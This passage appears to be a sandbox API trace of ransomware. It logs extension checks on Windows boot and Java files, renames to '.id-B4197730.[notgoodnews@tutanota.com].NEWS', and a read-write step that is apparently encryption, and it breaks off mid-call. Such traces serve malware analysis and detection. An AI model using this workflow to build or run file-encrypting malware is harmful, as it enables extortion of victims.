(lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.023] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0158.023] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0158.023] lstrlenW (lpString=".doc") returned 4 [0158.023] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.023] lstrlenW (lpString=".docx") returned 5 [0158.023] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0158.023] lstrlenW (lpString=".pdf") returned 4 [0158.024] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.024] lstrlenW (lpString=".xls") returned 4 [0158.024] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.024] lstrlenW (lpString=".xlsx") returned 5 [0158.024] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0158.024] lstrlenW (lpString=".ppt") returned 4 [0158.024] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.024] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0158.024] lstrlenW (lpString=".zip") returned 4 [0158.024] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.024] lstrlenW (lpString=".rar") returned 4 [0158.024] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.024] lstrlenW (lpString=".bz2") returned 4 [0158.024] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.024] lstrlenW (lpString=".7z") returned 3 [0158.024] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.024] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0158.024] lstrlenW (lpString=".dbf") returned 4 [0158.024] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.024] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0158.024] lstrlenW (lpString=".1cd") returned 4 [0158.024] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.024] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0158.024] lstrlenW (lpString=".jpg") returned 4 [0158.024] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.024] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0158.024] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0158.024] lstrlenW (lpString=".doc") returned 4 [0158.024] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.024] lstrlenW (lpString=".docx") returned 5 [0158.024] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0158.024] lstrlenW (lpString=".pdf") returned 4 [0158.024] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.024] lstrlenW (lpString=".xls") returned 4 [0158.024] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.024] lstrlenW (lpString=".xlsx") returned 5 [0158.025] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0158.025] lstrlenW (lpString=".ppt") returned 4 [0158.025] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.025] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0158.025] lstrlenW (lpString=".zip") returned 4 [0158.025] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.025] lstrlenW (lpString=".rar") returned 4 [0158.025] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.025] lstrlenW (lpString=".bz2") returned 4 [0158.026] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.026] lstrlenW (lpString=".7z") returned 3 [0158.026] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.026] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0158.026] lstrlenW (lpString=".dbf") returned 4 [0158.026] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.026] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0158.026] lstrlenW (lpString=".1cd") returned 4 [0158.026] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.026] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0158.026] lstrlenW (lpString=".jpg") returned 4 [0158.026] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.026] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.026] lstrlenW (lpString="memtest.exe.mui") returned 15 [0158.026] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0158.027] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=45472) returned 1 [0158.027] CloseHandle (hObject=0x344) returned 1 [0158.027] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0158.027] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.027] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.027] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0158.027] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0158.027] lstrlenW (lpString=".doc") returned 4 [0158.027] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.027] lstrlenW (lpString=".docx") returned 5 [0158.027] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0158.027] lstrlenW (lpString=".pdf") returned 4 [0158.027] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.027] lstrlenW (lpString=".xls") returned 4 [0158.027] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.027] lstrlenW (lpString=".xlsx") returned 5 [0158.027] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0158.027] lstrlenW (lpString=".ppt") returned 4 [0158.027] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.027] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0158.027] lstrlenW (lpString=".zip") returned 4 [0158.028] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.028] lstrlenW (lpString=".rar") returned 4 [0158.028] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.028] lstrlenW (lpString=".bz2") returned 4 [0158.028] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.028] lstrlenW (lpString=".7z") returned 3 [0158.028] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.028] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0158.028] lstrlenW (lpString=".dbf") returned 4 [0158.028] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.028] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0158.028] lstrlenW (lpString=".1cd") returned 4 [0158.028] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.028] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0158.028] lstrlenW (lpString=".jpg") returned 4 [0158.028] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.028] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0158.028] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0158.028] lstrlenW (lpString=".doc") returned 4 [0158.028] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.028] lstrlenW (lpString=".docx") returned 5 [0158.028] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0158.028] lstrlenW (lpString=".pdf") returned 4 [0158.028] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.028] lstrlenW (lpString=".xls") returned 4 [0158.028] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.028] lstrlenW (lpString=".xlsx") returned 5 [0158.028] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0158.028] lstrlenW (lpString=".ppt") returned 4 [0158.028] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.028] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0158.028] lstrlenW (lpString=".zip") returned 4 [0158.028] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.029] lstrlenW (lpString=".rar") returned 4 [0158.029] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.029] lstrlenW (lpString=".bz2") returned 4 [0158.029] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.029] lstrlenW (lpString=".7z") returned 3 [0158.029] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.029] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0158.029] lstrlenW (lpString=".dbf") returned 4 [0158.029] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.029] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0158.029] lstrlenW (lpString=".1cd") returned 4 [0158.029] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.029] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0158.029] lstrlenW (lpString=".jpg") returned 4 [0158.029] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.029] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.029] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0158.029] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0158.029] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=75616) returned 1 [0158.029] CloseHandle (hObject=0x344) returned 1 [0158.029] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0158.030] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.030] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.030] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0158.030] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0158.030] lstrlenW (lpString=".doc") returned 4 [0158.030] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.030] lstrlenW (lpString=".docx") returned 5 [0158.030] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0158.030] lstrlenW (lpString=".pdf") returned 4 [0158.030] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.030] lstrlenW (lpString=".xls") returned 4 [0158.030] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.030] lstrlenW (lpString=".xlsx") returned 5 [0158.030] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0158.030] lstrlenW (lpString=".ppt") returned 4 [0158.030] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.030] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0158.030] lstrlenW (lpString=".zip") returned 4 [0158.030] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.030] lstrlenW (lpString=".rar") returned 4 [0158.030] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.030] lstrlenW (lpString=".bz2") returned 4 [0158.030] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.030] lstrlenW (lpString=".7z") returned 3 [0158.030] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.030] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0158.030] lstrlenW (lpString=".dbf") returned 4 [0158.030] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.030] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0158.030] lstrlenW (lpString=".1cd") returned 4 [0158.031] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.031] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0158.031] lstrlenW (lpString=".jpg") returned 4 [0158.031] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.031] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0158.031] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0158.031] lstrlenW (lpString=".doc") returned 4 [0158.031] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.031] lstrlenW (lpString=".docx") returned 5 [0158.031] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0158.031] lstrlenW (lpString=".pdf") returned 4 [0158.031] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.031] lstrlenW (lpString=".xls") returned 4 [0158.031] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.031] lstrlenW (lpString=".xlsx") returned 5 [0158.031] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0158.031] lstrlenW (lpString=".ppt") returned 4 [0158.031] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.031] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0158.031] lstrlenW (lpString=".zip") returned 4 [0158.031] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.031] lstrlenW (lpString=".rar") returned 4 [0158.031] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.031] lstrlenW (lpString=".bz2") returned 4 [0158.031] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.031] lstrlenW (lpString=".7z") returned 3 [0158.031] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.031] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0158.031] lstrlenW (lpString=".dbf") returned 4 [0158.031] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.031] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0158.031] lstrlenW (lpString=".1cd") returned 4 [0158.032] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.032] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0158.032] lstrlenW (lpString=".jpg") returned 4 [0158.032] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.032] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.032] lstrlenW (lpString="memtest.exe.mui") returned 15 [0158.032] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0158.032] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=45472) returned 1 [0158.032] CloseHandle (hObject=0x344) returned 1 [0158.032] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0158.032] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.032] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.033] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0158.033] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0158.033] lstrlenW (lpString=".doc") returned 4 [0158.033] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.033] lstrlenW (lpString=".docx") returned 5 [0158.033] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0158.033] lstrlenW (lpString=".pdf") returned 4 [0158.033] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.033] lstrlenW (lpString=".xls") returned 4 [0158.033] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.033] lstrlenW (lpString=".xlsx") returned 5 [0158.033] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0158.033] lstrlenW (lpString=".ppt") returned 4 [0158.033] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.033] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0158.033] lstrlenW (lpString=".zip") returned 4 [0158.033] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.033] lstrlenW (lpString=".rar") returned 4 [0158.033] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.033] lstrlenW (lpString=".bz2") returned 4 [0158.033] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.033] lstrlenW (lpString=".7z") returned 3 [0158.033] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.033] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0158.033] lstrlenW (lpString=".dbf") returned 4 [0158.033] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.033] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0158.033] lstrlenW (lpString=".1cd") returned 4 [0158.033] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.033] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0158.033] lstrlenW (lpString=".jpg") returned 4 [0158.033] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.034] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0158.034] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0158.034] lstrlenW (lpString=".doc") returned 4 [0158.034] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.034] lstrlenW (lpString=".docx") returned 5 [0158.034] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0158.034] lstrlenW (lpString=".pdf") returned 4 [0158.034] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.034] lstrlenW (lpString=".xls") returned 4 [0158.034] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.034] lstrlenW (lpString=".xlsx") returned 5 [0158.034] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0158.034] lstrlenW (lpString=".ppt") returned 4 [0158.034] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.034] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0158.034] lstrlenW (lpString=".zip") returned 4 [0158.034] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.034] lstrlenW (lpString=".rar") returned 4 [0158.034] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.034] lstrlenW (lpString=".bz2") returned 4 [0158.034] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.034] lstrlenW (lpString=".7z") returned 3 [0158.034] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.034] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0158.034] lstrlenW (lpString=".dbf") returned 4 [0158.034] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0158.034] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0158.034] lstrlenW (lpString=".1cd") returned 4 [0158.034] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0158.034] lstrlenW (lpString="C:\\Boot\\da-DK\\memtest.exe.mui") returned 29 [0158.034] lstrlenW (lpString=".jpg") returned 4 [0158.034] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0158.035] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0158.035] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0158.035] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0158.035] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=79200) returned 1 [0158.035] CloseHandle (hObject=0x344) returned 1 [0158.035] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0158.035] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0158.035] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0158.035] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0158.035] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0158.035] lstrlenW (lpString=".doc") returned 4 [0158.035] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0158.035] lstrlenW (lpString=".docx") returned 5 [0158.035] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0158.036] lstrlenW (lpString=".pdf") returned 4 [0158.036] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0158.036] lstrlenW (lpString=".xls") returned 4 [0158.036] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0158.036] lstrlenW (lpString=".xlsx") returned 5 [0158.036] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0158.036] lstrlenW (lpString=".ppt") returned 4 [0158.036] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0158.036] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0158.036] lstrlenW (lpString=".zip") returned 4 [0158.036] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0158.036] lstrlenW (lpString=".rar") returned 4 [0158.036] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0158.036] lstrlenW (lpString=".bz2") returned 4 [0158.036] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0158.036] lstrlenW (lpString=".7z") returned 3 [0158.036] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0158.042] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0158.045] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0158.049] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0158.052] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0159.249] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=149) returned 1 [0159.249] CloseHandle (hObject=0x434) returned 1 [0159.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0159.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0159.249] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0159.250] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.250] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.250] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0159.251] GetLastError () returned 0x0 [0159.252] ReadFile (in: hFile=0x434, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x95, lpOverlapped=0x0) returned 1 [0159.268] WriteFile (in: hFile=0x43c, 